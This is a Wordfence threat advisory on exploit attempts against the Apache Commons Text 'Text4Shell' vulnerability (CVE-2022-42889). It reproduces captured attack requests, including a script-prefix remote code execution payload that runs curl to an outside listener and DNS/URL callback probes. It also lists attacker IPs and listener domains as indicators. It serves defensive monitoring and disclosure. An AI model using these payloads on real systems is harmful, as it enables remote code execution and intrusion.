PUBLISHED ON OCTOBER 20, 2022

Wordfence

Threat Advisory

Monitoring CVE-2022-42889 "Text4Shell" Exploit Attempts

On October 17, 2022, the Wordfence Threat Intelligence team began monitoring activity targeting CVE-2022-42889, or “Text4Shell” on our network of 4 million websites. We started observing activity targeting this vulnerability on October 18, 2022.

Text4Shell is a vulnerability in the Apache Commons Text library versions 1.5 through 1.9 that can be used to achieve remote code execution. While the vulnerability itself is similar to last year’s vulnerability CVE-2021-44228 in Apache’s log4j library, the Apache Commons Text library is far less widely used in an unsafe manner and the likelihood of successful exploitation is significantly lower.

As the vulnerability allows remote code execution, it has a CVSS score of 9.8, indicating critical impact if successfully exploited. The issue was patched in version 1.10.0.

Most of the payloads we have observed and are tracking appear in query string parameters or headers and use one of the following formats:

Script prefix:

```
${script:javascript:<rce payload>}
```

Example request:

```
GET /?
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27curl+
<redacted>.uri.cd85mppufkgpgd800010cex5ohoqkutab.oast.online%27%29%7D HTTP/1.1
Accept-Encoding: gzip
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/36.0.1985.67 Safari/537.36
Host: <redacted>
```

Url prefix:

```
${url:UTF-8:<listenerdomain>/<endpoint>}
```

Example request:

```
GET /wp-json/wp/v2/comments?post=%24%7Burl%3AUTF-
8%3Ahttp%3A%2F%2Fcanarytokens.com%2Ffeedback%2Fu1mcjpc0ti4po7ukgntl9l7jh%2Fcontact.php%7
D HTTP/1.1
X-Forwarded-For: 199.16.53.138
Accept-Encoding: gzip
User-Agent: Fuzz Faster U Fool v1.5.0-dev
Host: <redacted>
```

DNS prefix:

```
${dns:address:<victimdomain>.<unique identifier>.<listenerdomain>}
```

Example request:

```
GET / HTTP/1.1
X-Forwarded-For: 13.53.121.211
Host: <redacted>
X-Forwarded-Proto: http
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept: ${dns:address|<redacted>.acc.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Accept-Encoding: ${dns:address|
<redacted>.accenc.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Accept-Language: ${dns:address|
<redacted>.acclang.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Access-Control-Request-Headers: ${dns:address|
<redacted>.acrh.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Access-Control-Request-Method: ${dns:address|
<redacted>.acrm.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Authentication: Bearer ${dns:address|
<redacted>.authb2.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Cookie: %5Bredacted%5D=%5Bredacted%5D;
Location: ${dns:address|<redacted>.loc.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Origin: ${dns:address|<redacted>.orig.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Referer: ${dns:address|<redacted>.ref.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
Upgrade-Insecure-Requests: ${dns:address|
<redacted>.uir.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
X-Api-Version: ${dns:address|
<redacted>.xapi.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
X-Csrf-Token: ${dns:address|<redacted>.csrf.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
X-Druid-Comment: ${dns:address|
<redacted>.druid.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
X-Origin: ${dns:address|<redacted>.xorig.cd77aqg40oum8ui7khqgkwwu1xpqt4h5k.tress.cf}
X-Vismaservice: VSP
```

The vast majority of requests we are seeing are using the DNS prefix and are intended to scan for vulnerable installations - a successful attempt would result in the victim site making a DNS query to the attacker-controlled listener domain.

The script prefix is less common and is the method used to achieve actual code execution. We've seen a variety of payloads but most also appear to be intended to send a request back to a listener URL.

The url prefix is the least common one we have tracked and functions in the same way as the dns prefix.

CYBER OBSERVABLES

The following IP addresses have sent out requests targeting the vulnerability. IP addresses marked with * have targeted multiple sites:

```
103.127.158.166*
207.180.241.85*
159.180.168.60*
159.180.168.61*
206.189.150.65*
13.53.121.211*
165.227.196.68*
46.101.177.159*
37.120.189.196*
199.16.53.138*
66.94.113.40*
3.232.79.59*
52.94.133.128*
66.94.110.66*
52.202.251.117*
161.97.122.174*
72.21.196.64*
20.112.84.178
38.242.147.244
157.230.29.154
164.90.174.6
161.97.132.171
159.223.26.207
62.171.165.202
38.242.242.52
139.59.210.202
209.126.10.16
164.92.136.114
159.89.185.54
207.154.234.251
194.163.185.138
144.126.131.64
80.152.226.29
66.94.110.65
20.9.198.105
161.97.74.59
103.162.75.6
```

CYBER OBSERVABLES CONTINUED

We are seeing a number of listener hosts in use:

```
tress.cf
oast.online
oast.site
oast.live
oast.me
blsops.com
dnslog.cn
acpk.xyz
oast.fun
ligame.xyz
oast.pro
vii.onE
13.58.100.198
canarytokens.com
```

Most of these listeners are running Interactsh servers, which are frequently used by legitimate security teams to test for out-of-band interactions. It is also possible that some of these requests are being performed by bug bounty hunters or malicious actors.

New IP Addresses attacking CVE-2022-42889 will appear on the Wordfence Intelligence IP Threat Feed in the “rce” category as the feed is updated every 60 minutes.

Have any questions regarding Wordfence Intelligence? Contact us at:
Wordfence Intelligence
intel@wordfence.com